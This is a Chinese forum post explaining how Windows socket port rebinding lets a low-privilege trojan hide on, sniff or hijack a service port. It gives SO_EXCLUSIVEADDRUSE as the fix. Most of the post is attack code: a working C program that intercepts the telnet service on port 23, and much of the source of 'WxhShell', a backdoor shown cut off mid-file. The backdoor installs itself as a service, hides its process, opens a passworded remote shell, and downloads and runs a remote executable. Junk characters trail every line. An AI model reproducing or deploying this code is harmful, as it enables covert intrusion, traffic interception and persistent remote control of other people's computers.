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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +MR.>"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *,e:]!*  
j/R[<47  
  saddr.sin_family = AF_INET; Ja,wfRq  
s3~lT.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); &M46&^Jho  
kStnb?nk  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5Sm}n H  
 a][f  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 \]</w5 Pi,  
I KqQ>Z-q~  
  这意味着什么?意味着可以进行如下的攻击: 8K.R=  
aoTM  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 dYT%  
>pU$wq|i  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~D<IB#C  
D&od?3}E  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "U e. @>  
K~AR*1??[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  '10oK {m$  
j}%ja_9S  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 wb]%m1H`:  
cv?06x{  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 q1z"-~i )E  
n!NS(. o  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 tXoWwQD;Y  
q;R],7Re  
  #include JW{rA6?   
  #include q)Lu_6 mg  
  #include q"%_tS  
  #include    5>CEl2mSl  
  DWORD WINAPI ClientThread(LPVOID lpParam);   zDw5]*R  
  int main() 24E}<N,g  
  { rm5bkJcg~  
  WORD wVersionRequested; ~ DBcIy?  
  DWORD ret; \SN&G `o<  
  WSADATA wsaData; ZjgsR|i  
  BOOL val; s"0Y3x3  
  SOCKADDR_IN saddr; !F1M(zFD  
  SOCKADDR_IN scaddr; >[9J?H  
  int err; 9{(.Il J>  
  SOCKET s; d9B]fi}  
  SOCKET sc; I/a/)No  
  int caddsize; z2MWN\?8  
  HANDLE mt; :# .<[  
  DWORD tid;   u])b,9&En  
  wVersionRequested = MAKEWORD( 2, 2 ); |bq$xp  
  err = WSAStartup( wVersionRequested, &wsaData ); v9:9E|,U+  
  if ( err != 0 ) { RZHd9v$  
  printf("error!WSAStartup failed!\n"); C69q&S,  
  return -1; UELy"z R  
  } G!"YpYml  
  saddr.sin_family = AF_INET; xfpa]Z  
   I/&%]"[^u  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 )we}6sE"  
.}q&5v  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 6HZ`.o:f  
  saddr.sin_port = htons(23); *G{^|z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C"!gZ8*\!9  
  { o9JMH.G  
  printf("error!socket failed!\n"); pk^K:Xs}  
  return -1; CS@FYO  
  } {_`^R>"\&w  
  val = TRUE; 8dO!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 =-8bsV/l  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) X.Rb-@  
  { %K>,xiD)  
  printf("error!setsockopt failed!\n"); V#XppYU  
  return -1; ,{BaePMp  
  } b\3Oyp>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?98("T|y;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~rDZ?~%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 AfX}y+Ah  
,u+PyG7 cb  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Bk*F_>X"  
  { xD5:RE~g  
  ret=GetLastError(); j/fzzI0@  
  printf("error!bind failed!\n"); f|B=_p80  
  return -1; d Vj_8>  
  } kS_(wp A  
  listen(s,2); s$cK(S#  
  while(1) "t (p&;d  
  { znxnL,-  
  caddsize = sizeof(scaddr); (Dw,DY9  
  //接受连接请求 [<%H>S1  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >33=<~#n  
  if(sc!=INVALID_SOCKET) |$vX<. S  
  { {[+mpKq  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); vhpNpgz  
  if(mt==NULL) ]L9s%]o  
  { VHCK2}ps  
  printf("Thread Creat Failed!\n"); ~io szX  
  break; |C!oxhu<  
  } ^G4 P y<s  
  } .!f$ \1l  
  CloseHandle(mt); P{wF"vf  
  } MUTj-1H6)  
  closesocket(s); J%x\=Sv  
  WSACleanup(); BQ=PW|[  
  return 0; g;2?F[8Th  
  }   -o!$tI&  
  DWORD WINAPI ClientThread(LPVOID lpParam) n/SwP  
  { F P* lQRA  
  SOCKET ss = (SOCKET)lpParam; hWD;jR  
  SOCKET sc; )(ImLbM)  
  unsigned char buf[4096]; Hea;?4Vg  
  SOCKADDR_IN saddr; | N[<x@  
  long num; t5y;CxL  
  DWORD val; NWMFtT  
  DWORD ret; bYEy<7)x  
  //如果是隐藏端口应用的话,可以在此处加一些判断 iV&6nh(  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   '}fzX2Q#  
  saddr.sin_family = AF_INET; )n2 re?S  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); %Z):>'  
  saddr.sin_port = htons(23); | #47O  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \QYFAa  
  { 5*Y^\N  
  printf("error!socket failed!\n"); j@SQ~AS  
  return -1; $npT[~U5  
  } Dp)=0<$y  
  val = 100; 8=NM|i  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gj*+\3KO@a  
  { 1JztFix  
  ret = GetLastError(); aX5 z&r:{  
  return -1; 5]AC*2(  
  } f33l$pOp  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) - `p4-J!Fy  
  { ] Hztb  
  ret = GetLastError(); 2/"u5  
  return -1; IIn"=g=9  
  } (oEC6F  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?d{Na= O\  
  { xx#zN0I>-y  
  printf("error!socket connect failed!\n"); hw= Ft4L  
  closesocket(sc); 3HcQ(+Z  
  closesocket(ss); nlW +.a[  
  return -1; 7ccO93Mz  
  } j2QmxTa!  
  while(1) /SrCElabP  
  { 1Cv-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?u" 4@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 mF,Y?ax  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 K`u(/kz/<  
  num = recv(ss,buf,4096,0); `HZ;NRr  
  if(num>0) |}(`kW  
  send(sc,buf,num,0); k'Sp.  
  else if(num==0) |wH5sjT  
  break; ,*7 (%k^`  
  num = recv(sc,buf,4096,0); de p=&  
  if(num>0) (Iaf?J5{  
  send(ss,buf,num,0); `$W_R[  
  else if(num==0) $Zug Bh[b  
  break; Exc9` 7%.  
  } va}Pj#=  
  closesocket(ss); r76J N  
  closesocket(sc); l'/R&`-n  
  return 0 ; ;/r1}tl+3>  
  } xKuRh}^K  
tt0f-:#  
@zU6t|mhz  
========================================================== .J)I | '  
6W]9$n\"?  
下边附上一个代码,,WXhSHELL M%2+y5  
?0v-qj+  
========================================================== y5 *Z 3"<  
=a@j=  
#include "stdafx.h" x{n`^;Y1  
DAcQz4T`  
#include <stdio.h> 4 QvsBpz@  
#include <string.h> eU".3`CtY  
#include <windows.h> nxWY7hU  
#include <winsock2.h> >z%&xgOa  
#include <winsvc.h> ]n_ k`  
#include <urlmon.h> GO` Ru 8  
>8WP0 Qx/  
#pragma comment (lib, "Ws2_32.lib") ]:4*L  
#pragma comment (lib, "urlmon.lib") Ju96#v+:  
]rWgSID  
#define MAX_USER   100 // 最大客户端连接数 8FKXSqhVM  
#define BUF_SOCK   200 // sock buffer zgNc4B  
#define KEY_BUFF   255 // 输入 buffer zNxW'?0Z?  
'98VYCL  
#define REBOOT     0   // 重启 kEOS{C%6R  
#define SHUTDOWN   1   // 关机 "B3N* R(["  
bdC8zDD  
#define DEF_PORT   5000 // 监听端口 mS(fgq6  
b{L/4bu  
#define REG_LEN     16   // 注册表键长度 r:f[mk"-"A  
#define SVC_LEN     80   // NT服务名长度 j bVECi-  
9Uj $K>:  
// 从dll定义API &PYK8}pBk3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3I)VHMC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D~hg$XzK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ="Ho%*@6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *AO,^R&e.  
'EbWFMjy  
// wxhshell配置信息 3RYpJAH  
struct WSCFG { u%}nw :>  
  int ws_port;         // 监听端口 e1%/26\  
  char ws_passstr[REG_LEN]; // 口令 fGUE<l  
  int ws_autoins;       // 安装标记, 1=yes 0=no >O*IQ[r-  
  char ws_regname[REG_LEN]; // 注册表键名 CE#gfP  
  char ws_svcname[REG_LEN]; // 服务名 F`gi_; c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 VH9dleZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /{+y2.{j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mRL"nC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 95 ;x=ju  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" B@&4i?yJ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C G0 M  
DI:]GED" =  
}; NdMb)l)m  
pR(jglm7-  
// default Wxhshell configuration NidIVbT.A  
struct WSCFG wscfg={DEF_PORT, B8f8w)m  
    "xuhuanlingzhe", `|{-+m  
    1, oW ::hB  
    "Wxhshell", "e.jZcN*  
    "Wxhshell", 7 n8"/0kc:  
            "WxhShell Service", DJ'zz&K  
    "Wrsky Windows CmdShell Service", coW:DFX  
    "Please Input Your Password: ", Fq |Ni$  
  1, z\K"Rg~J  
  "http://www.wrsky.com/wxhshell.exe", yE:+Lo`>  
  "Wxhshell.exe" R=gb'  
    }; lR )67a  
,?>s>bHV  
// 消息定义模块 X:HacYqtC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T ]t'39  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ZA0mz 65  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vHyC;4'  
char *msg_ws_ext="\n\rExit."; B"h#C!E  
char *msg_ws_end="\n\rQuit."; :r{<zd>;  
char *msg_ws_boot="\n\rReboot..."; h2Ld[xvCu%  
char *msg_ws_poff="\n\rShutdown..."; )J2mM  
char *msg_ws_down="\n\rSave to ";  gbF+WE  
?}wk.gt>  
char *msg_ws_err="\n\rErr!"; #M9~L[nF S  
char *msg_ws_ok="\n\rOK!"; "I3@m%qv  
?zh9d%R  
char ExeFile[MAX_PATH]; A\4D79>x  
int nUser = 0; -ws? "_w  
HANDLE handles[MAX_USER]; #.rdQ,)<  
int OsIsNt; b*a#<K$T_  
7m4ao K  
SERVICE_STATUS       serviceStatus; t^+ik1.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; );#JL0I  
EK {Eo9l  
// 函数声明 [xSF6  
int Install(void); B Wk/DVue  
int Uninstall(void); zr-*$1eu  
int DownloadFile(char *sURL, SOCKET wsh); 2BQ j  
int Boot(int flag); Cn,d?H  
void HideProc(void); g;pcZ9o  
int GetOsVer(void); iW$_zgN  
int Wxhshell(SOCKET wsl); d' !]ZWe  
void TalkWithClient(void *cs); RIlwdt  
int CmdShell(SOCKET sock); ns9U/ :L  
int StartFromService(void); /rK}?U  
int StartWxhshell(LPSTR lpCmdLine); (?n=33}Ci  
Q_"]+i]s@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `, OG7hg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); J%u=Ucdh  
BF\XEm?!  
// 数据结构和表定义 )(bW#-  
SERVICE_TABLE_ENTRY DispatchTable[] = '~5LY!H(pT  
{ NCiW^#b  
{wscfg.ws_svcname, NTServiceMain}, VJeu 8ZJ.  
{NULL, NULL} VEWi_;=J1  
}; \:b3~%Fz  
'*K:  lx  
// 自我安装 YmL06<Mh  
int Install(void) ]O]4z,n  
{ Px4) >/ z,  
  char svExeFile[MAX_PATH]; i6^twK)j  
  HKEY key; }JF13beU  
  strcpy(svExeFile,ExeFile); U;YC}r  
[$mHv,~  
// 如果是win9x系统,修改注册表设为自启动 /KFfU1  
if(!OsIsNt) { *:Y%HAy*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RSfQNc9Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2GP=&K/A  
  RegCloseKey(key); PC~Y8,A|.t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,|3MG",@@h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^X=ar TE  
  RegCloseKey(key); &*##bA"!B  
  return 0; NSxoF3  
    } PRx8I .  
  } 2<i!{;u$qL  
} ND'E8Ke pq  
else { BL0 {HV!  
F}F&T  
// 如果是NT以上系统,安装为系统服务 Lf16j*}-Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Xnt~]k\"  
if (schSCManager!=0) G? ])o5  
{ t>L;kRujVJ  
  SC_HANDLE schService = CreateService FtpK)9/4  
  ( I4'5P}1yp  
  schSCManager, m,VOx7%n  
  wscfg.ws_svcname, = i$Fl{vH  
  wscfg.ws_svcdisp, X$HIVxyq2  
  SERVICE_ALL_ACCESS, ( Z619w  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Yrb{ByO&  
  SERVICE_AUTO_START, @Pm>sY}d<I  
  SERVICE_ERROR_NORMAL, O8+7g+J=!  
  svExeFile, 1ct;A_48  
  NULL, bLB:MW\%  
  NULL, vUN22;Z\  
  NULL, %P<hW+P!  
  NULL, p)jk>j B  
  NULL rV2WnAb[H&  
  ); :y+2*lV  
  if (schService!=0) ]s]vZ  
  { RmI]1S_=  
  CloseServiceHandle(schService); <lgYcdJ   
  CloseServiceHandle(schSCManager); u8'Zl8 g  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xqeyD*s  
  strcat(svExeFile,wscfg.ws_svcname); tClg*A;|B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lNy.g{2f<m  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;!=G   
  RegCloseKey(key); UxbjA- U[  
  return 0; 6@Y_*4$|  
    } VF&(8X\   
  } Dl<bnx;0  
  CloseServiceHandle(schSCManager); @D.}\(  
} lAS#874dE  
} 2POXj!N  
44gPCW,u  
return 1; cA2V2S)  
} ]%hn`ZJ  
s6H]J{1F  
// 自我卸载  .t{MIC  
int Uninstall(void) o\[~.";Z  
{ NokU) O;x  
  HKEY key; ]q;Emy  
@fHi\W2JG  
if(!OsIsNt) {  '<jyw   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u#Pa7_zBj]  
  RegDeleteValue(key,wscfg.ws_regname); sr r :!5  
  RegCloseKey(key); c' ^?/$H|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $3W;=Id=+  
  RegDeleteValue(key,wscfg.ws_regname); .!Qki@  
  RegCloseKey(key); Za/-i"U  
  return 0; /@wg>&L]  
  } DjCqh-&L  
} bZ?v-fn\D,  
} +M./@U*g  
else { 61Bwb]\f/|  
bbtGXfI+SB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +dWDxguE{w  
if (schSCManager!=0) |!1Y*|Q%s  
{ (jnzT=y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [/PR\'|  
  if (schService!=0) ")_|69 VX  
  { =qoWCmg"&  
  if(DeleteService(schService)!=0) { ls?~+\Jb  
  CloseServiceHandle(schService); 3oBtP<yG.  
  CloseServiceHandle(schSCManager); $'0u|Xy`  
  return 0; :I"2V  
  } I.WvLLK2  
  CloseServiceHandle(schService); rK@8/?y5  
  } v V'EZ ?  
  CloseServiceHandle(schSCManager); ob+b<HFv  
} aB*Bz]5;E  
} 5<iV2Hx  
) mI05  
return 1; [8.c8-lZ^  
} fsmN)_T  
XpIklL7  
// 从指定url下载文件 Km%]1X7T6  
int DownloadFile(char *sURL, SOCKET wsh) P!~MZ+7#&  
{ GSY(  
  HRESULT hr; P]<4R:yb  
char seps[]= "/"; <m!h&_eg  
char *token; tf =6\p  
char *file; !!qK=V|>  
char myURL[MAX_PATH]; 0v6)t.]s  
char myFILE[MAX_PATH]; 6h>wt-tRC  
9V'%<pk''(  
strcpy(myURL,sURL); Eou~P h*t  
  token=strtok(myURL,seps); CWf / H)~  
  while(token!=NULL) \(~y?l  
  { v:EB*3n5  
    file=token; ]O Z5 fd  
  token=strtok(NULL,seps); *w$W2I>b7  
  } w:??h4lt  
IW)()*8;/  
GetCurrentDirectory(MAX_PATH,myFILE); 7WZrSC  
strcat(myFILE, "\\"); D_?K"E=fw  
strcat(myFILE, file); MV! {j;g1<  
  send(wsh,myFILE,strlen(myFILE),0); +cWLjPD/}  
send(wsh,"...",3,0); PvR6 z0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); < z+t,<3D  
  if(hr==S_OK) 7.-V-?i  
return 0; anuL1f XO  
else BoA/6FRi[  
return 1; R7]l{2V#^  
TSA,WP\  
} KMt`XaC9e  
B6=ebM`q  
// 系统电源模块 ,c$,!.r  
int Boot(int flag) 2:*w~|6>}5  
{ 32l3vv.j  
  HANDLE hToken; a! (4Ch  
  TOKEN_PRIVILEGES tkp; v.\*./-i  
-Bt k 3  
  if(OsIsNt) { 2;xIL]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); fTzvmC:g7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h,QKd>4:CF  
    tkp.PrivilegeCount = 1; 9*$t!r{B@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +U:$(UV'A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z^KJ*E  
if(flag==REBOOT) { _my"%@n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w;D+y*2  
  return 0; FK6[>(QO  
} PEN \-*Pv  
else { D>|H 2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E"\/ M  
  return 0; w^(<N7B3T  
} ml2_ ]3j!  
  } :WC2Ax7$2  
  else { t4{rb, }W  
if(flag==REBOOT) { &6DMk-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (VS5V31"  
  return 0; 3E7ULK  
} 1m+p;T$  
else { X"MB|N y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fz;iOjr>  
  return 0; vVj  
} BW-`t-,E;  
} tv>>l%  
CF&NFSti^  
return 1; z|fmrwkN'$  
} })uGRvz  
9s_vL9u  
// win9x进程隐藏模块 tM2)k+fg  
void HideProc(void) 7ByTnYe~S  
{ Qg^cf<X{i  
Kfm5i Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); F8hw #!Aq  
  if ( hKernel != NULL ) XttqO f  
  { KuWWUjCE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h a|C&G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n-5W*zk1  
    FreeLibrary(hKernel); 'AzDP;6qFI  
  } Y_}mYvJW  
uB |Ss  
return; m_hN*v Py  
} $`APHjijN  
d#6`&MR  
// 获取操作系统版本 a5 *2h{i  
int GetOsVer(void) t c[n&X  
{ c?P?yIz6p  
  OSVERSIONINFO winfo; :iFIQpk  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ! N|0x`  
  GetVersionEx(&winfo); .e3NnOzyxS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `L:CA5sBud  
  return 1; LY6;.d$J  
  else XXbqQhf  
  return 0; ag$Vgl  
} .b\$MZ"(  
0MV>"aV  
// 客户端句柄模块 #G|qD  
int Wxhshell(SOCKET wsl) 7:A x(El  
{ ^?$WVB  
  SOCKET wsh; 0- ><q  
  struct sockaddr_in client; pkP?i5 ,  
  DWORD myID; e'~Zo9`r6  
5'0xz.)!  
  while(nUser<MAX_USER) X_qf"|i  
{ g wz7krUTe  
  int nSize=sizeof(client); rX*H)3F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;g6M%;1-  
  if(wsh==INVALID_SOCKET) return 1; *eIJwXE  
.R)PJc5^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x??pBhJH  
if(handles[nUser]==0) ]DZE%  
  closesocket(wsh); {)DHH:n  
else ktK_e  
  nUser++; ~CtL9m3tO  
  } <$6QDfa#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); p7);uF^O%  
~CVe yk< (  
  return 0; nM\eDNK  
} 9 Yx]=n  
;WgJ<&33  
// 关闭 socket 0~HKiH-  
void CloseIt(SOCKET wsh) KQcs3F@t  
{ u4.ngjJ  
closesocket(wsh); *"WDb|PBb  
nUser--; J\J?yo 6  
ExitThread(0); @)-sTgn  
} !l_lo`)  
Kh(ZU^{n  
// 客户端请求句柄 .U"8mP=&  
void TalkWithClient(void *cs) 7~9S 9  
{ ygeDcnvR]  
U`,0]"Qk  
  SOCKET wsh=(SOCKET)cs; \(VTt|}By$  
  char pwd[SVC_LEN]; bfA=3S"0  
  char cmd[KEY_BUFF]; _FXZm50\g{  
char chr[1];  ]E_h  
int i,j; <WjF*x p  
Vm5c+;  
  while (nUser < MAX_USER) { Qd=^S^}(  
k4,BNJt'Z  
if(wscfg.ws_passstr) { ?I/qE='*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )foq),2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hdnTXs@z  
  //ZeroMemory(pwd,KEY_BUFF); ET_W-  
      i=0; N+LL@[  
  while(i<SVC_LEN) { =1O<E  
O$D'.t  
  // 设置超时 zS\E/.X2  
  fd_set FdRead; n8uv#DsdK  
  struct timeval TimeOut; I&MY{f  
  FD_ZERO(&FdRead); a\IP12F?  
  FD_SET(wsh,&FdRead); *5 |)-E  
  TimeOut.tv_sec=8; u)3 $~m~  
  TimeOut.tv_usec=0; fBgEnz/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g8Q5m=O*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !Gu%U$d  
`(v='$6}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6 ` Aj%1  
  pwd=chr[0]; F^N82  
  if(chr[0]==0xd || chr[0]==0xa) { lZyG)0t,g  
  pwd=0; E Q4KV  
  break; &LF` W  
  } #O$  
  i++; AX?fuDLs  
    } I8+~ &V}  
[cTe54n  
  // 如果是非法用户,关闭 socket %STliJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %|^OOU}  
} )x}l3\s  
%{(x3\ *&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hX`hs- *qM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o;W`4S^  
$e\h}A6  
while(1) { 1z&Ly3  
cTD!B% x  
  ZeroMemory(cmd,KEY_BUFF); uC8L\UXk  
CbPuoOl  
      // 自动支持客户端 telnet标准   Oy<5>2^P  
  j=0; "z0zpHXek  
  while(j<KEY_BUFF) { rj6tZJZ#o0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ma'_e=+A  
  cmd[j]=chr[0]; c9kzOQ2n  
  if(chr[0]==0xa || chr[0]==0xd) { 2pzF5h  
  cmd[j]=0; 'fcMuBc+ 4  
  break; "Fy7K#n  
  } FP0G]=ME  
  j++; {r> .G7P6  
    } {%VV\qaC  
[zL7Q^~  
  // 下载文件 6ZKsz5:=  
  if(strstr(cmd,"http://")) { JJltPGT~Oa  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A a= u+  
  if(DownloadFile(cmd,wsh)) t~E<j+<2B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t6,wjN-J  
  else e'*`.^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RlqQ  
  } &ISb~5  
  else { :Xn7Ha[f  
!ALKSiSl  
    switch(cmd[0]) { Yk'9U-.mc  
  PzV@umC1#f  
  // 帮助 "S&@F/  
  case '?': { iT;@bp  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DHw&+MY  
    break; P y>{t4;S  
  } `+zWu 55;  
  // 安装 >iOzl wmG  
  case 'i': { 6*qL[m.F[o  
    if(Install()) y kW [B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :9R=]#uD  
    else HJ2*y|u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 21ppSN >  
    break; cooUE<a  
    }  6\u!E~zy  
  // 卸载 h)6GaJ=  
  case 'r': { *\wp?s>-t  
    if(Uninstall()) d{3@h+zL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oT{@_U{*J  
    else QJ F=UB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E,wVe[0)f  
    break; ZT[3aXS  
    } YAL=!~6  
  // 显示 wxhshell 所在路径 277ASCWLkU  
  case 'p': { UWZa|I~:J  
    char svExeFile[MAX_PATH]; e/*$^i+S  
    strcpy(svExeFile,"\n\r"); |.F  
      strcat(svExeFile,ExeFile); op"$E1+  
        send(wsh,svExeFile,strlen(svExeFile),0); !" JfOu  
    break; yMZHUd  
    } Ja]?&j  
  // 重启 Z1ALq5  
  case 'b': { kW`r=u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OFGsjYLw  
    if(Boot(REBOOT)) 6 4D]Ypx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7_wJpTz  
    else { T"p(]@Ng  
    closesocket(wsh); ?\U!huu  
    ExitThread(0); yJsH=5A  
    } &f>eQ S=(  
    break; l{:a1^[>y  
    } 8K;Y2 #  
  // 关机 Xt{*N-v\  
  case 'd': { 3;7q`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dLvJh#`o  
